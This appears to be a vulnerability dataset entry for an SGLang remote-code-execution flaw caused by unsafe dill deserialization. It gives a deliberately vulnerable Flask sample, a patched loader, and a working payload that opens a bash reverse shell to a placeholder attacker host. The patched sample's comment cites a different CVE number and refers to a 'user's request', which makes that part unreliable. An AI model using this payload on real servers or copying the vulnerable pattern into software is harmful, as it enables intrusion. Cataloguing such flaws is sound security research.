CVE-2026-7304
SGLang: RCE via insecure deserialization with custom logit processors.
- CVSS 9.8
- CWE-502
- Input Validation and Sanitization
- Remote
SGLangs multimodal generation runtime is vulnerable to unauthenticated remote code execution when the –enable-custom-logit-processor option is enabled, as Python objects loaded via dill.loads() will be deserialized without validation.
- CWE
- CWE-502
- CVSS base score
- 9.8
- Published
- 2026-05-18
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- SGLangs
- Fixed by upgrading
- Yes
Solution
Upgrade to SGLang version 0.1.13.
Vulnerable code sample
import dill
from flask import Flask, request
# This flag simulates the server being started with the vulnerable
# '--enable-custom-logit-processor' option.
ENABLE_CUSTOM_LOGIT_PROCESSOR = True
app = Flask(__name__)
@app.route("/api/generate", methods=["POST"])
def generate():
if not ENABLE_CUSTOM_LOGIT_PROCESSOR:
return "Custom processor support is disabled.", 403
# VULNERABILITY: The server blindly deserializes user-provided data
# using dill. An attacker can craft a payload that executes
# arbitrary code upon deserialization.
custom_logit_processor = dill.loads(request.get_data())
# In a real app, the loaded 'custom_logit_processor' object would be used.
# The RCE may have already occurred during the deserialization step.
return "Processor loaded successfully.", 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)Patched code sample
import importlib
import sys
import os
# The vulnerability CVE-2024-27304 (likely a typo in the user's request) was caused
# by using `dill.loads()` to deserialize a user-provided logit processor,
# which allows for arbitrary code execution.
#
# The fix is to stop using deserialization altogether and instead load the
# processor by its module and class name, which is a safe, standard Python
# practice. This ensures that only code already present on the system can be
# imported and executed.
def load_logit_processor_safely(processor_path: str):
"""
Safely loads a logit processor class from a specified module path
instead of deserializing an untrusted object.
Args:
processor_path: A string in the format "module.submodule:ClassName".
"""
try:
if ":" not in processor_path:
raise ValueError(
"Invalid processor path format. Expected 'module:ClassName'."
)
module_path, class_name = processor_path.split(":")
# Safely import the specified module.
# This only loads code from the Python path, not arbitrary data.
module = importlib.import_module(module_path)
# Get the class from the loaded module.
processor_class = getattr(module, class_name)
# Instantiate the class.
processor_instance = processor_class()
print(f"Successfully and safely loaded processor: {class_name}")
return processor_instance
except (ImportError, AttributeError, ValueError) as e:
print(f"Error loading processor: {e}", file=sys.stderr)
return None
# --- Example Usage ---
# To demonstrate, we simulate a custom processor file that would exist on the server.
if __name__ == "__main__":
# Create a dummy processor file for the demonstration.
# In a real scenario, this file would already be part of the codebase.
processor_code = """
class MyCustomLogitProcessor:
def __init__(self):
print("MyCustomLogitProcessor instance created.")
def process(self, logits):
print("Processing logits...")
return logits
class AnotherProcessor:
def __init__(self):
print("AnotherProcessor instance created.")
"""
# Create a dummy module file
with open("my_processors.py", "w") as f:
f.write(processor_code)
print("--- Attempting to load a valid, known processor ---")
# This is the safe way to specify a processor to load.
# The server loads code it already has, preventing RCE.
safe_path = "my_processors:MyCustomLogitProcessor"
processor = load_logit_processor_safely(safe_path)
if processor:
processor.process(logits=[0.1, 0.9])
print("\n--- Attempting to load a non-existent processor ---")
invalid_path = "my_processors:NonExistentProcessor"
load_logit_processor_safely(invalid_path)
print("\n--- Attempting to load from a non-existent module ---")
invalid_module_path = "non_existent_module:MyProcessor"
load_logit_processor_safely(invalid_module_path)
# Clean up the dummy file.
os.remove("my_processors.py")Payload
import dill
import os
class RCE:
def __reduce__(self):
# Replace ATTACKER_IP and PORT with your details
command = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
return (os.system, (command,))
# The serialized payload to be sent to the vulnerable server
payload = dill.dumps(RCE())
# To use, you would send the 'payload' bytes to the target.
# For demonstration, we print it in a transportable format (Base64).
import base64
print(base64.b64encode(payload).decode())
Cite this entry
@misc{vaitp:cve20267304,
title = {{SGLang: RCE via insecure deserialization with custom logit processors.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-7304},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-7304/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
